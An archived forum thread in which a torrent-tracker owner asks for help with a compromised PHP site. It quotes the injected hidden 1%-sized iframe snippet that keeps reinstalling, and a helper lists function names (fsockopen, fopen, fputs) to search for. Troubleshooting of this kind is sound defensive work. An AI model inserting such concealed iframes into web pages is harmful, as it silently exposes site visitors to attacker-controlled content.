Bravo List - Hacked source

Bravo List (http://www.bvlist.com/index.php)

- Community Cafe (http://www.bvlist.com/forumdisplay.php?f=18)

- - Hacked source (http://www.bvlist.com/showthread.php?t=4890)

justme635

25th April 2010 16:34

Hacked source

Hi I'm having serious problems with my source because it's being hacked it's got an autoinstaller on the source and I just do not know where and how it's happening.

This is what appears in some php :

PHP Code:


		
			
<?$varri =  "http://www.blacktorrents.ro/pic/buttons/index2.html";?>
<iframe src=<?php print $varri; ?> scrolling="auto" width=1%  height=1% frameborder="0"> </iframe>

The index2.html often changes the directory if I delete it, and appears in other places.

Any php from my database you need just ask me and I will give it to you.

joeroberts

25th April 2010 16:41

what source?
Have you tried to do a search of your files to find any mention of that link?

justme635

25th April 2010 16:43

Quote:

Originally Posted by joeroberts (Post 22636)

what source?

It's a TbDev Source but mixed with other sources :sad:

joeroberts

25th April 2010 16:44

is that link a local link or external?

justme635

25th April 2010 16:46

Quote:

Originally Posted by joeroberts (Post 22638)

is that link a local link or external?

It's a link to my tracker with .ro domain and it's local, yes.

And if i delete the file and modify the php, it auto installs in another php and the indes2.html too

joeroberts

25th April 2010 16:52

I would pull My files to My pc and so a search for
index2.html
fsockopen
fopen
fputs

justme635

25th April 2010 17:09

Quote:

Originally Posted by joeroberts (Post 22640)

I would pull My files to My pc and so a search for
index2.html
fsockopen
fopen
fputs

Yes i have found a php that is like a control panel lol and he can change anything from my database :sad:

How can i solve it:sad:

joeroberts

25th April 2010 17:14

can you post that file please?

All times are GMT +2. The time now is 10:38.